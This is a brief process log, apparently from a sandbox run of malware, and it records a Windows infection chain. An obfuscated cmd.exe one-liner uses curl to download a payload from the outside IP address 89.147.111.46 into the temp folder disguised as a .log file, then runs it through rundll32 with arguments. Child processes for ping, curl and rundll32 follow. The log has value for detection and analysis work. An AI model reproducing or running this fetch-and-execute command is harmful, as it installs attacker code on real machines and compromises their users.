cmd.exe "C:\Windows\System32\cmd.exe" /c A3ch || ecHo A3ch & ping A3ch || CuRl http://89.147.111.46/gWUA/hyper -o %tmp%\A3ch.log & ping -n 3 A3ch || rUndLl32 %TMP%\A3ch.log scab /k haval462 & eXIT YInQbeICo=xQgfy
2276PING.EXE ping A3ch
2400curl.exe CuRl http://89.147.111.46/gWUA/hyper -o C:\Users\test22\AppData\Local\Temp\A3ch.log
2484PING.EXE ping -n 3 A3ch
1632rundll32.exe rUndLl32 C:\Users\test22\AppData\Local\Temp\A3ch.log scab /k haval462
236